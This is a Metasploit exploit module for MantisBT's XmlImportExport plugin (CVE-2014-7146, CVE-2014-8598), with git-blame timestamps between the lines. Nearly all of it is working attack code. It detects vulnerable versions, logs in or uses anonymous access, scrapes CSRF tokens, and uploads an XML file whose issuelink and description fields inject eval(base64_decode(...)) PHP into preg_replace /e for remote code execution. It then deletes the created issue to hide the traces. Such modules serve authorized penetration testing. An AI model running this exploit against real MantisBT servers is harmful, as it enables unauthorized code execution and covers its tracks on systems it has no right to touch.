2014-11-09 08:00:44 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-11-09 08:00:44 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2014-11-09 08:00:44 -05:00
Rank = GreatRanking
include Msf :: Exploit :: Remote :: HttpClient
2015-01-07 11:01:08 +01:00
include REXML
2014-11-09 08:00:44 -05:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability' ,
'Description' = > %q{
2014-11-09 09:10:01 -05:00
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
2014-11-13 22:46:53 +01:00
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
2015-01-06 23:25:11 +01:00
This version also suffers from another issue. The import page is not checking the correct user level
2015-01-07 00:08:04 +01:00
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
2014-11-09 08:00:44 -05:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Egidio Romano' , # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>' , # module development @itsecurityco
2015-01-06 23:25:11 +01:00
'Christian Mehlmauer'
2014-11-09 08:00:44 -05:00
] ,
'References' = >
[
2015-01-06 23:25:11 +01:00
[ 'CVE' , '2014-7146' ] ,
[ 'CVE' , '2014-8598' ] ,
[ 'URL' , 'https://www.mantisbt.org/bugs/view.php?id=17725' ] ,
[ 'URL' , 'https://www.mantisbt.org/bugs/view.php?id=17780' ]
2014-11-09 08:00:44 -05:00
] ,
'Platform' = > 'php' ,
'Arch' = > ARCH_PHP ,
'Targets' = > [ [ 'Generic (PHP Payload)' , { } ] ] ,
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '2014-11-08' ,
2014-11-09 08:00:44 -05:00
'DefaultTarget' = > 0 ) )
register_options (
[
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate as' , 'administrator' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'Pasword to authenticate as' , 'root' ] ) ,
2014-11-13 22:46:53 +01:00
OptString . new ( 'TARGETURI' , [ true , 'Base directory path' , '/' ] )
2017-05-03 15:42:21 -05:00
] )
2014-11-09 08:00:44 -05:00
end
2015-01-07 11:01:08 +01:00
def get_mantis_version
xml = Document . new
xml . add_element (
" soapenv:Envelope " ,
{
'xmlns:xsi' = > " http://www.w3.org/2001/XMLSchema-instance " ,
'xmlns:xsd' = > " http://www.w3.org/2001/XMLSchema " ,
'xmlns:soapenv' = > " http://schemas.xmlsoap.org/soap/envelope/ " ,
'xmlns:man' = > " http://futureware.biz/mantisconnect "
} )
xml . root . add_element ( " soapenv:Header " )
xml . root . add_element ( " soapenv:Body " )
body = xml . root . elements [ 2 ]
body . add_element ( " man:mc_version " ,
{ 'soapenv:encodingStyle' = > " http://schemas.xmlsoap.org/soap/encoding/ " }
)
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'api' , 'soap' , 'mantisconnect.php' ) ,
'ctype' = > 'text/xml; charset=UTF-8' ,
'headers' = > { 'SOAPAction' = > 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version' } ,
'data' = > xml . to_s
} )
if res && res . code == 200
2015-01-07 11:54:55 +01:00
match = res . body . match ( / <ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)< \/ return>< \/ ns1:mc_versionResponse> / )
2015-01-07 11:01:08 +01:00
if match && match . length == 2
version = match [ 1 ]
print_status ( " Detected Mantis version #{ version } " )
return version
end
end
print_status ( " Can not detect Mantis version " )
return nil
end
2014-11-09 08:00:44 -05:00
def check
2015-01-07 11:01:08 +01:00
version = get_mantis_version
return Exploit :: CheckCode :: Unknown if version . nil?
2021-02-17 12:33:59 +00:00
gem_version = Rex :: Version . new ( version )
gem_version_introduced = Rex :: Version . new ( '1.2.0a3' )
gem_version_fixed = Rex :: Version . new ( '1.2.18' )
2014-11-09 08:00:44 -05:00
2015-01-07 11:01:08 +01:00
if gem_version < gem_version_fixed && gem_version > = gem_version_introduced
return Msf :: Exploit :: CheckCode :: Appears
2014-11-09 08:00:44 -05:00
else
2015-01-07 11:01:08 +01:00
return Msf :: Exploit :: CheckCode :: Safe
2014-11-09 08:00:44 -05:00
end
end
2014-11-11 05:49:18 -05:00
def do_login ( )
2015-01-07 00:08:04 +01:00
# check for anonymous login
2014-11-09 08:00:44 -05:00
res = send_request_cgi ( {
'method' = > 'GET' ,
2015-01-07 00:08:04 +01:00
'uri' = > normalize_uri ( target_uri . path , 'login_anon.php' )
2014-11-09 08:00:44 -05:00
} )
2015-01-07 00:08:04 +01:00
# if the redirect contains a username (non empty), anonymous access is enabled
if res && res . redirect? && res . redirection && res . redirection . query =~ / username=[^&]+ /
print_status ( 'Anonymous access enabled, no need to log in' )
session_cookie = res . get_cookies
else
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'login_page.php' ) ,
'vars_get' = > {
'return' = > normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' )
}
} )
session_cookie = res . get_cookies
print_status ( 'Logging in...' )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'login.php' ) ,
'cookie' = > session_cookie ,
'vars_post' = > {
'return' = > normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
'username' = > datastore [ 'username' ] ,
'password' = > datastore [ 'password' ] ,
'secure_session' = > 'on'
}
} )
fail_with ( Failure :: NoAccess , 'Login failed' ) unless res && res . code == 302
2015-01-07 09:10:50 +01:00
fail_with ( Failure :: NoAccess , 'Wrong credentials' ) unless res && ! res . redirection . to_s . include? ( 'login_page.php' )
2015-01-07 00:08:04 +01:00
session_cookie = " #{ session_cookie } #{ res . get_cookies } "
end
2014-11-09 08:00:44 -05:00
2015-01-07 00:08:04 +01:00
session_cookie
2014-11-11 05:49:18 -05:00
end
2014-11-13 22:46:53 +01:00
def upload_xml ( payload_b64 , rand_text , cookies , is_check )
2014-11-11 05:49:18 -05:00
if is_check
timeout = 20
else
timeout = 3
end
rand_num = Rex :: Text . rand_text_numeric ( 1 , 9 )
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
print_status ( 'Checking XmlImportExport plugin...' )
2014-11-09 08:00:44 -05:00
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'plugin.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-09 08:00:44 -05:00
'vars_get' = > {
2014-11-13 22:46:53 +01:00
'page' = > 'XmlImportExport/import'
2014-11-09 08:00:44 -05:00
}
} )
2015-01-07 07:33:16 +01:00
unless res && res . code == 200 && res . body
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to access XmlImportExport/import page...' )
2014-11-09 08:00:44 -05:00
return false
end
2015-01-07 07:33:16 +01:00
if res . body . include? ( 'Plugin is not registered with MantisBT' )
2015-01-06 11:33:45 +01:00
print_error ( 'XMLImportExport plugin is not installed' )
return false
end
2014-11-09 08:00:44 -05:00
# Retrieving CSRF token
if res . body =~ / name="plugin_xml_import_action_token" value="(.*)" /
csrf_token = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read CSRF token' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default project id
if res . body =~ / name="project_id" value="([0-9]+)" /
project_id = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read project id' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default category id
if res . body =~ / name="defaultcategory">[.| \ r| \ r \ n]*<option value="([0-9])" selected="selected" > \ (select \ )< \/ option><option value="1"> \ [All Projects \ ] (.*)< \/ option> /
category_id = Regexp . last_match [ 1 ]
category_name = Regexp . last_match [ 2 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read default category' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default max file size
if res . body =~ / name="max_file_size" value="([0-9]+)" /
max_file_size = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read default max file size' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default step
if res . body =~ / name="step" value="([0-9]+)" /
step = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read default step value' )
2014-11-09 08:00:44 -05:00
return false
end
2014-11-10 15:27:10 -05:00
xml_file = %Q|
<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
<issue>
<id>#{ rand_num }</id>
<project id="#{ project_id }">#{ rand_text }</project>
<reporter id="#{ rand_num }">#{ rand_text }</reporter>
<priority id="30">normal</priority>
<severity id="50">minor</severity>
<reproducibility id="70">have not tried</reproducibility>
<status id="#{ rand_num }">new</status>
<resolution id="#{ rand_num }">open</resolution>
<projection id="#{ rand_num }">none</projection>
<category id="#{ category_id }">#{ category_name }</category>
<date_submitted>1415492267</date_submitted>
<last_updated>1415507582</last_updated>
<eta id="#{ rand_num }">none</eta>
<view_state id="#{ rand_num }">public</view_state>
<summary>#{ rand_text }</summary>
<due_date>1</due_date>
<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
</issue>
</mantis>
|
data = Rex :: MIME :: Message . new
data . add_part ( " #{ csrf_token } " , nil , nil , " form-data; name= \" plugin_xml_import_action_token \" " )
data . add_part ( " #{ project_id } " , nil , nil , " form-data; name= \" project_id \" " )
data . add_part ( " #{ max_file_size } " , nil , nil , " form-data; name= \" max_file_size \" " )
data . add_part ( " #{ step } " , nil , nil , " form-data; name= \" step \" " )
data . add_part ( xml_file , " text/xml " , " UTF-8 " , " form-data; name= \" file \" ; filename= \" #{ rand_text } .xml \" " )
data . add_part ( " renumber " , nil , nil , " form-data; name= \" strategy \" " )
data . add_part ( " link " , nil , nil , " form-data; name= \" fallback \" " )
data . add_part ( " on " , nil , nil , " form-data; name= \" keepcategory \" " )
data . add_part ( " #{ category_id } " , nil , nil , " form-data; name= \" defaultcategory \" " )
data_post = data . to_s
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
print_status ( 'Sending payload...' )
2015-01-06 11:33:45 +01:00
res = send_request_cgi ( {
2014-11-09 08:00:44 -05:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import_action' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-10 15:27:10 -05:00
'ctype' = > " multipart/form-data; boundary= #{ data . bound } " ,
2014-11-13 22:46:53 +01:00
'data' = > data_post
2014-11-09 08:00:44 -05:00
} , timeout )
2015-01-06 11:33:45 +01:00
2015-01-07 06:51:28 +01:00
if res && res . body && res . body . include? ( 'APPLICATION ERROR' )
2015-01-06 23:25:11 +01:00
print_error ( 'Error on uploading XML' )
return false
end
# request above will time out and return nil on success
2015-01-06 11:33:45 +01:00
return true
2014-11-11 05:49:18 -05:00
end
def exec_php ( php_code , is_check = false )
2015-01-07 00:08:04 +01:00
print_status ( 'Checking access to MantisBT...' )
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path )
} )
fail_with ( Failure :: NoAccess , 'Error accessing MantisBT' ) unless res && ( res . code == 200 || res . redirection )
2014-11-11 05:49:18 -05:00
# remove comments, line breaks and spaces of php_code
payload_clean = php_code . gsub ( / ( \ s+)|( # .*) / , '' )
# clean b64 payload
2015-01-07 07:33:16 +01:00
while Rex :: Text . encode_base64 ( payload_clean ) . include? ( '=' )
2014-11-11 05:49:18 -05:00
payload_clean = " #{ payload_clean } "
end
payload_b64 = Rex :: Text . encode_base64 ( payload_clean )
rand_text = Rex :: Text . rand_text_alpha ( 5 , 8 )
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
cookies = do_login ( )
2014-11-11 05:49:18 -05:00
2014-11-13 22:46:53 +01:00
res_payload = upload_xml ( payload_b64 , rand_text , cookies , is_check )
2014-11-11 05:49:18 -05:00
2015-01-06 11:33:45 +01:00
return unless res_payload
2014-11-11 05:49:18 -05:00
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
2014-11-13 22:46:53 +01:00
cookies = do_login ( )
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
print_status ( " Deleting issue ( #{ rand_text } )... " )
2014-11-09 08:00:44 -05:00
res = send_request_cgi ( {
2014-11-11 05:49:18 -05:00
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'my_view_page.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies
2014-11-09 08:00:44 -05:00
} )
unless res && res . code == 200
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to access My View page' )
2014-11-09 08:00:44 -05:00
return false
end
if res . body =~ / title=" \ [@[0-9]+@ \ ] #{ rand_text } ">0+([0-9]+)< \/ a> /
issue_id = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to retrieve issue id' )
2014-11-09 08:00:44 -05:00
return false
end
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'bug_actiongroup_page.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-09 08:00:44 -05:00
'vars_get' = > {
'bug_arr[]' = > issue_id ,
'action' = > 'DELETE' ,
} ,
} )
if res && res . body =~ / name="bug_actiongroup_DELETE_token" value="(.*)" \/ > /
csrf_token = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to retrieve CSRF token' )
2014-11-09 08:00:44 -05:00
return false
end
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'bug_actiongroup.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-09 08:00:44 -05:00
'vars_post' = > {
'bug_actiongroup_DELETE_token' = > csrf_token ,
'bug_arr[]' = > issue_id ,
'action' = > 'DELETE' ,
} ,
} )
if res && res . code == 302 || res . body !~ / Issue #{ issue_id } not found /
2014-11-13 22:46:53 +01:00
print_status ( " Issue number ( #{ issue_id } ) removed " )
2014-11-09 08:00:44 -05:00
else
print_error ( " Removing issue number ( #{ issue_id } ) has failed " )
return false
end
# if check return the response
if is_check
return res_payload
else
return true
end
end
def exploit
2015-01-07 11:01:08 +01:00
get_mantis_version
2014-11-09 08:00:44 -05:00
unless exec_php ( payload . encoded )
2014-11-13 22:46:53 +01:00
fail_with ( Failure :: Unknown , 'Exploit failed, aborting.' )
2014-11-09 08:00:44 -05:00
end
end
end